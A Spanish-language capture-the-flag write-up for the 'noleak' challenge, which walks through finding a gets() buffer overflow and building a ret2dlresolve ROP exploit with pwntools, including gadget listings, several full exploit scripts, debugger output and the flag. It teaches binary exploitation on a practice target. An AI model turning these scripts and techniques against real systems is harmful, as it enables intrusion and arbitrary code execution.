Noleak
7 minutos de lectura
Se nos proporciona un binario de 64 bits llamado noleak
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Ingeniería inversa
Su código descompilado en C es muy sencillo:
undefined8 _() {
undefined8 unaff_RBP;
return unaff_RBP;
}
void FUN_00401060(FILE *param_1, char *param_2, int param_3, size_t param_4) {
setvbuf(param_1, param_2, param_3, param_4);
}
undefined8 vuln() {
undefined8 param_10;
undefined8 local_12;
undefined2 local_a;
local_12 = 0;
local_a = 0;
gets((char *) &local_12);
return param_10;
}
undefined8 main(undefined8 param_1, undefined8 param_2, undefined8 param_3, undefined8 param_4, undefined8 param_5, undefined8 param_6) {
FUN_00401060(stdin, 0, 2, 0, param_5, param_6, param_2);
FUN_00401060(stdout, 0, 2, 0);
FUN_00401060(stderr, 0, 2, 0);
vuln();
return 0;
}
Básicamente, tenemos un programa que usa gets
sobre un buffer de 10 bytes ("undefined8
+ undefined2
"). Como gets
no comprueba el tamaño del buffer, tenemos una vulnerabilidad de Buffer Overflow clarísima.
Estrategia de explotación
El problema es cómo explotarlo, puesto que no tenemos ninguna función que nos permita fugar direcciones de memoria (solo tenemos acceso a setvbuf
y gets
). En estos casos, se suele realizar una técnica conocida como ret2dlresolve, la cual se puede automatizar de manera muy sencilla con pwntools
.
El otro problema que existe es que el binario está compilado en Ubuntu 22.04, con Glibc 2.35, por lo que ya no está el típico gadget pop rdi; ret
para hacer ROP y por tanto, un simple exploit de ret2dlresolve como el siguiente (tomado de Void) no funciona:
from pwn import *
context.binary = 'void'
rop = ROP(context.binary)
dlresolve = Ret2dlresolvePayload(context.binary, symbol='system', args=['/bin/sh\0'])
rop.read(0, dlresolve.data_addr)
rop.raw(rop.ret[0])
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
p = context.binary.process()
p.sendline(b'A' * 72 + raw_rop)
p.sendline(dlresolve.payload)
p.interactive()
Aun así, el creador del reto ha sido generoso y nos ha puesto una función llamada _
que básicamente nos da un gadget pop rax; ret
. Esto, sumado a otro gadget mov rdi, rax; ret
nos da el equivalente a un pop rdi; ret
:
$ ROPgadget --binary noleak | grep rdi
0x0000000000401160 : mov rdi, rax ; ret
0x00000000004010c6 : or dword ptr [rdi + 0x404038], edi ; jmp rax
0x0000000000401138 : sub ebp, dword ptr [rdi] ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
$ ROPgadget --binary noleak | grep 'pop rax'
0x0000000000401159 : cli ; push rbp ; mov rbp, rsp ; pop rax ; ret
0x0000000000401156 : endbr64 ; push rbp ; mov rbp, rsp ; pop rax ; ret
0x000000000040115c : mov ebp, esp ; pop rax ; ret
0x000000000040115b : mov rbp, rsp ; pop rax ; ret
0x000000000040115e : pop rax ; ret
0x000000000040115a : push rbp ; mov rbp, rsp ; pop rax ; ret
Desarrollo del exploit
Tras mucho tiempo perdido depurando, intentando implementar ret2dlresolve de forma manual usando los gadgets anteriores e incluso buscando otras estrategias de explotación (pensando el retos similares como rop-2.35), finalmente traté de simplificar el escenario y construir desde ahí.
El punto clave fue partir de un exploit de ret2dlresolve con pwntools
que debería funcionar con un gadget pop rdi; ret
:
from pwn import *
context.binary = 'noleak'
rop = ROP(context.binary)
dlresolve = Ret2dlresolvePayload(context.binary, symbol='system', args=['/bin/sh\0'])
rop.gets(dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
print(rop.dump())
p = context.binary.process()
p.sendline(b'A' * 18 + raw_rop)
p.sendline(dlresolve.payload)
p.interactive()
El exploit es muy similar al anterior, solo cambia el uso de gets
en vez de read
, se ha quitado el gadget ret
(que de momento no hace falta) y se ha actualizado el offset para explotar el Buffer Overflow a 18 bytes.
Sin embargo, el problema es el que ya conocíamos, que pwntools
no es capaz de construir la cadena ROP porque no encuentra el gadget pop rdi; ret
, que es necesario para poder configurar el primer argumento a gets
.
$ python3 solve.py
[*] './noleak'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loaded 6 cached gadgets for 'noleak'
[ERROR] Could not satisfy setRegisters({'rdi': 4214272})
Entonces, se me ocurrió hacer trampas y usar la librería Glibc para darle a pwntools
un gadget pop rdi; ret
. Para ello, fue necesario añadir GDB al proceso y darle al exploit la dirección base de Glibc antes de crear la cadena ROP:
#!/usr/bin/env python3
from pwn import *
context.binary = 'noleak'
glibc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
p = context.binary.process()
gdb.attach(p, 'continue')
glibc.address = int(input('Glibc address: '), 16)
rop = ROP([context.binary, glibc])
dlresolve = Ret2dlresolvePayload(context.binary, symbol='system', args=['/bin/sh\0'])
rop.gets(dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
print(rop.dump())
p.sendline(b'A' * 18 + raw_rop)
p.sendline(dlresolve.payload)
p.interactive()
Lo ejecutamos:
$ python3 solve.py
[*] './noleak'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './noleak': pid 24800
[*] running in new terminal: ['/usr/bin/gdb', '-q', './noleak', '24800', '-x', '/tmp/pwnjdk9xo77.gdb']
[+] Waiting for debugger: Done
Glibc address:
Ahora en el depurador miramos la dirección de Glibc para ponerla en el exploit:
gef> libc
---------------------------------- libc info ----------------------------------
$libc = 0x7f7b57a00000
path: /usr/lib/x86_64-linux-gnu/libc.so.6
sha512: b6f66f4643a14c3b7d97ef2ba2cc3a2670ef943f0624ffae6ad57cc2950c16d14156eab45d5827b194223062e5fbdb1d57d98a266723fd9dbdf6d0e657c080e8
sha256: bc1a1b62cb2b8d8c8d73e62848016d5c1caa22208081f07a4f639533efee1e4a
sha1: 2f1387a64ad0eb7906fe82c4efab9b5cfbd55467
md5: 9ee1a1aa1bbd6bf8d7f3a90c0ea5d135
ver: GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.6) stable release version 2.35.
gef> continue
Continuing.
Y con esto ya funciona ret2dlresolve con pwntools
:
Glibc address: 0x7f7b57a00000
[*] Loaded 6 cached gadgets for 'noleak'
[*] Loaded 219 cached gadgets for '/lib/x86_64-linux-gnu/libc.so.6'
0x0000: 0x7f7b57a2a3e5 pop rdi; ret
0x0008: 0x404e00 [arg0] rdi = 4214272
0x0010: 0x401054 gets
0x0018: 0x7f7b57a2a3e5 pop rdi; ret
0x0020: 0x404e38 [arg0] rdi = 4214328
0x0028: 0x401020 [plt_init] system
0x0030: 0x304 [dlresolve index]
[*] Switching to interactive mode
$ whoami
[*] Got EOF while reading in interactive
$
El exploit no funciona por stack alignment. Es decir, necesitamos poner un gadget ret
para que la pila esté alineada antes de la llamada a system("/bin/sh")
, es fácil de corregir:
#!/usr/bin/env python3
from pwn import *
context.binary = 'noleak'
glibc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
p = context.binary.process()
gdb.attach(p, 'continue')
glibc.address = int(input('Glibc address: '), 16)
rop = ROP([context.binary, glibc])
dlresolve = Ret2dlresolvePayload(context.binary, symbol='system', args=['/bin/sh\0'])
rop.gets(dlresolve.data_addr)
rop.raw(rop.ret.address)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
print(rop.dump())
p.sendline(b'A' * 18 + raw_rop)
p.sendline(dlresolve.payload)
p.interactive()
Si seguimos el mismo procedimiento de antes, ahora sí funciona y tenemos una shell:
$ python3 solve.py
[*] './noleak'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './noleak': pid 31291
[*] running in new terminal: ['/usr/bin/gdb', '-q', './noleak', '31291', '-x', '/tmp/pwn93dt8c86.gdb']
[+] Waiting for debugger: Done
Glibc address: 0x7fab0cc00000
[*] Loaded 6 cached gadgets for 'noleak'
[*] Loaded 219 cached gadgets for '/lib/x86_64-linux-gnu/libc.so.6'
0x0000: 0x7fab0cc2a3e5 pop rdi; ret
0x0008: 0x404e00 [arg0] rdi = 4214272
0x0010: 0x401054 gets
0x0018: 0x40101a ret
0x0020: 0x7fab0cc2a3e5 pop rdi; ret
0x0028: 0x404e38 [arg0] rdi = 4214328
0x0030: 0x401020 [plt_init] system
0x0038: 0x304 [dlresolve index]
[*] Switching to interactive mode
$ whoami
rocky
Con esto, lo que hemos conseguido es una cadena ROP que funciona con un payload de ret2dlresolve que también funciona. Ahora podemos coger la cadena ROP y reemplazar el gadget pop rdi; ret
que viene de Glibc por una combinación de pop rax; ret
y mov rdi, rax; ret
, que están en el binario (y no hay protección PIE):
#!/usr/bin/env python3
from pwn import *
context.binary = 'noleak'
def get_process():
if len(sys.argv) == 1:
return context.binary.process()
host, port = sys.argv[1], sys.argv[2]
return remote(host, port)
p = get_process()
dlresolve = Ret2dlresolvePayload(context.binary, symbol='system', args=['/bin/sh\0'])
pop_rax_ret_addr = 0x40115e
mov_rdi_rax_ret_addr = 0x401160
ret_addr = 0x40101a
raw_rop = p64(pop_rax_ret_addr)
raw_rop += p64(0x404e00)
raw_rop += p64(mov_rdi_rax_ret_addr)
raw_rop += p64(context.binary.plt.gets)
raw_rop += p64(ret_addr)
raw_rop += p64(pop_rax_ret_addr)
raw_rop += p64(0x404e38)
raw_rop += p64(mov_rdi_rax_ret_addr)
raw_rop += p64(0x401020)
raw_rop += p64(0x304)
p.sendline(b'A' * 18 + raw_rop)
p.sendline(dlresolve.payload)
p.interactive()
Si ejecutamos el exploit en local, obtenemos una shell:
$ python3 solve.py
[*] './noleak'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './noleak': pid 35222
[*] Switching to interactive mode
$ whoami
rocky
Flag
En remoto, podremos ver la flag: HackOn{ez_noleak_r0p_4_th3_w1n}
. El exploit completo se puede encontrar aquí: solve.py
.